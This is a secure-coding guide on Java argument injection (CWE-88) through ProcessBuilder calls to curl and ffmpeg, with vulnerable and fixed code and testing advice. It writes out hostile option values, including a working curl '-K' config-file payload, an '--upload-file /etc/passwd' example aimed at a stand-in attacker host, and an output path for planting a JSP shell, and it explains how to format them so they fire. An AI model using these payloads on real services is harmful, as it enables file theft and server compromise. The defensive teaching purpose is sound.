CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') - Java

Overview

ProcessBuilder and Runtime.exec(String[]) pass arguments straight to the program without a shell, which is what stops command injection. Argument injection survives that: the program still parses its own argument vector, and a user-supplied value beginning with - is read as an option.

The common shape in Java is a service that shells out to a command-line tool - curl, git, ffmpeg, pdftk - for something the JDK or a library could do directly. That detail matters, because for most of these the fix is to delete the subprocess rather than to sanitise its arguments.

Common Vulnerable Patterns

User-supplied URL passed to an external fetcher

@PostMapping("/fetch-url")
public ResponseEntity<String> fetchUrl(@RequestParam String url) throws IOException {
    // VULNERABLE - no shell involved, but curl still parses its own options
    ProcessBuilder pb = new ProcessBuilder("curl", url);
    Process p = pb.start();

    // Attack: url=-K/var/app/uploads/notes.txt
    // Result: curl takes the whole transfer - URL, method, output path - from
    //         a file the attacker uploaded earlier

    return ResponseEntity.ok("Fetched");
}

Why this is vulnerable: curl treats any argument starting with - as an option, and -K names a config file that can set every other option, including url and output. The argument arrives as its own vector element, so nothing a shell-escaping helper does would change the outcome - there is no shell to escape for. Measured on curl 8.12.1: curl -K<file> with no other argument performed the transfer the config file described and wrote the response to the path it named, exiting 0.

Write the payload as one argv element, or it will not fire. curl's short options take the rest of the same argument as their value, and its long options need --opt=value; a payload copied from a shell session keeps the space and stops working. All three of the strings usually quoted for this fail against ProcessBuilder, measured on the same version:

Single element	What curl does
--upload-file /etc/passwd http://attacker.example	option --upload-file ...: is unknown, exit 2
-o /var/www/html/shell.jsp http://attacker.example	output filename becomes the whole string, then no URL specified, exit 2
-K /proc/self/environ	cannot read config from ' /proc/self/environ' - the leading space is part of the filename

-K/var/app/uploads/notes.txt, with no space, is the same option spelled so that one element carries it. The finding is real either way; the payload decides whether anyone can reproduce it.

Validation that only checks the value's shape

// VULNERABLE - a pattern that permits a leading dash permits an option
private static final Pattern URL_PATTERN =
        Pattern.compile("^[\\w.:/?=&-]+$");

public void fetch(String url) throws IOException {
    if (!URL_PATTERN.matcher(url).matches()) {
        throw new IllegalArgumentException("Invalid URL");
    }
    new ProcessBuilder("curl", url).start();
}

Why this is vulnerable: The pattern rejects shell metacharacters, which were never the risk here, and allows - anywhere including first. -o matches this regex. A character-class allowlist stops argument injection only if it also constrains the first character.

Secure Patterns

Use the JDK's HTTP client instead of a subprocess

import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.util.Set;

private static final Set<String> ALLOWED_HOSTS =
        Set.of("api.example.com", "cdn.example.com");

private final HttpClient client = HttpClient.newBuilder()
        .followRedirects(HttpClient.Redirect.NEVER)
        .build();

// SECURE - no argument vector exists, so no option can be injected
public String fetch(String url) throws Exception {
    URI uri = URI.create(url);

    if (!"https".equals(uri.getScheme())) {
        throw new IllegalArgumentException("Only HTTPS is allowed");
    }
    if (uri.getHost() == null || !ALLOWED_HOSTS.contains(uri.getHost())) {
        throw new IllegalArgumentException("Host not allowed");
    }

    HttpRequest request = HttpRequest.newBuilder(uri).GET().build();
    return client.send(request, HttpResponse.BodyHandlers.ofString()).body();
}

Why this works: The URL becomes a URI object, not a token in an argument list, so there is no parser downstream that can reinterpret it as an option - the weakness is removed rather than filtered. Checking the scheme and host on the parsed URI rather than on the raw string avoids the mismatch where a string passes a regex but parses to a different host. Disabling redirect following keeps the allowlist meaningful, since a permitted host can otherwise redirect the client anywhere (CWE-918).

Use URI.create rather than new URL(String): URL.equals and URL.hashCode perform DNS resolution, which makes them unsuitable for security decisions. The URL constructors are also deprecated as of Java 20, though only softly - the annotation is @Deprecated(since="20") without forRemoval=true, so no removal is scheduled and existing code still compiles.

When the external tool is genuinely required

import java.nio.file.Files;
import java.nio.file.NoSuchFileException;
import java.nio.file.Path;
import java.util.regex.Pattern;

private static final Path BASE_DIR = Path.of("/var/app/uploads");
private static final Pattern SAFE_NAME = Pattern.compile("\\A[A-Za-z0-9][A-Za-z0-9_.-]{0,254}\\z");

// SECURE - the value cannot begin with a dash, and the file it names cannot
// resolve outside the base directory
public void convert(String filename) throws Exception {
    if (!SAFE_NAME.matcher(filename).matches()) {
        throw new IllegalArgumentException("Invalid filename");
    }

    // toRealPath(), not normalize(): normalize() is lexical and a symlink in
    // the upload directory would pass it - see below.
    Path base = BASE_DIR.toRealPath();
    Path input;
    try {
        input = base.resolve(filename).toRealPath();
    } catch (NoSuchFileException e) {
        throw new IllegalArgumentException("Unknown file");
    }
    if (!input.startsWith(base) || !Files.isRegularFile(input)) {
        throw new IllegalArgumentException("Unknown file");
    }

    ProcessBuilder pb = new ProcessBuilder(
            "ffmpeg", "-y", "-i", input.toString(),
            "--", BASE_DIR.resolve("out.mp4").toString());
    pb.redirectErrorStream(true);

    // Send the merged output to a file, not the default pipe. Nothing here
    // drains a pipe, and reading one inline would outlive the timeout below.
    Path log = Files.createTempFile("convert", ".log");
    pb.redirectOutput(log.toFile());

    Process process = pb.start();
    try {
        if (!process.waitFor(60, java.util.concurrent.TimeUnit.SECONDS)) {
            // waitFor() after destroyForcibly(), or the child still holds the
            // file open and the delete below fails on Windows.
            process.destroyForcibly().waitFor();
            throw new IllegalStateException("Conversion timed out");
        }
        if (process.exitValue() != 0) {
            throw new IllegalStateException("Conversion failed");
        }
    } finally {
        Files.deleteIfExists(log);
    }
}

Why this works: The pattern requires an alphanumeric first character, so no accepted value can be read as an option - stated as an allowlist of what may start the string rather than a denylist of -, which would miss --, unicode dash characters, and leading whitespace. toRealPath() plus the startsWith check confines the file to the base directory, and -- stops option parsing for tools that honour it, as a second line if the pattern is later relaxed. The timeout matters because a subprocess that never exits holds a request thread indefinitely.

normalize() would not have been enough, and the pattern is why it looks as though it would. SAFE_NAME admits no / or \, so the value cannot traverse and a lexical containment check passes trivially - which is the trap: the file it names can still be a symlink pointing anywhere, and Files.isRegularFile follows links, so the check says yes and ffmpeg reads the target. Measured on JDK 26 against a link inside the base directory: normalize() then startsWith(BASE_DIR) returned true for a file whose real location was outside it, while toRealPath() resolved to the real location and the same comparison returned false. normalize() is documented as not touching the filesystem; anything that has to be true of the file rather than of the string needs a call that does. Note the base is resolved too - a symlinked upload directory otherwise makes every legitimate path fail the comparison.

The output redirect is load-bearing, not tidiness. ProcessBuilder gives a child a pipe by default, and a pipe nobody reads fills up: the child blocks in write(), waitFor runs out its deadline, and a legitimate conversion is reported as a timeout. redirectErrorStream(true) makes it certain rather than unlikely, because ffmpeg's progress output is on stderr and now shares that unread pipe. Measured on JDK 26 with a child writing 400 KB: waitFor(20, SECONDS) returned false on work that had nothing wrong with it. Draining the pipe first is not the fix either - readAllBytes() blocks until EOF, so a child that goes quiet without exiting never reaches the timeout on the line below. Redirecting to a file has neither failure; a reader thread bounded by the same deadline is the other option. See CWE-78 for the same hazard in a shell-injection context.

-y is not part of the security fix. Without it, an output file that already exists makes ffmpeg print "Not overwriting - exiting" and exit 0 (measured on 8.0.1), so the exitValue() != 0 check passes for a conversion that never happened.

Considerations

• The subprocess is usually the thing to remove. Java has an HTTP client, a ZIP and JAR filesystem, an image API, and a process API; shelling out to a tool is often historical. When a library covers the job, that fix ends the finding permanently, while validation has to stay correct as the tool's option set changes.
• What the tool can do decides the severity. curl and git can write files and execute helper programs; a tool with no such option is a weaker finding. Check the tool's own option list rather than assuming, and record a false positive with its reason when the reachable options are inert.
• -- is not universal, and for git it depends on position. curl documents it as an end-of-options marker, and GNU tar honours it although the tar manual documents --add-file= for a name beginning with - rather than the terminator. git treats -- as its revision/path separator, so it stops option parsing for a value in a path position but not for one that could be read as a revision; --end-of-options, added in git 2.24, is the marker for that case. find is the outlier: the marker exists and does not work, because find ends its list of starting points at the first argument beginning with -. Prefix the value with ./, pass an absolute path, or use -files0-from. Do not treat the presence of -- in the code as evidence the finding is closed.
• Argument arrays and shell strings are different risks. Runtime.exec(String) splits on whitespace and is a command injection problem (CWE-78); ProcessBuilder with a list is not, and is still this weakness. A review that only asks "is a shell involved" answers the wrong question.

Testing

The call site looks the same before and after the fix, so a re-scan proves nothing. Assert behaviour instead.

• Send -K/tmp/attacker.conf, having planted a config file naming an output path, and assert both a rejection and that the path was never written. The rejection alone does not prove the process did not start.
• Confirm the payload fires against the unfixed code before trusting the assertion. Written with a space - -o /tmp/pwned, --upload-file /etc/passwd
  • it does not, so the test passes against a broken fix and a working one alike.
• Send --help. Tools generally exit 0 for it, so a leak here shows up as a successful-looking response rather than an error - the case most likely to pass a shallow test.
• Assert that legitimate values still work: a filename with an internal hyphen, a URL with query parameters, a host in the allowlist. Over-tight validation here breaks real traffic and the scanner will not notice.
• Where a subprocess was replaced with HttpClient or a library, assert the response body and status match what the tool returned for a known input.

Additional Resources

• CWE-88: Argument Injection
• Java ProcessBuilder
• Java HttpClient
• GTFOBins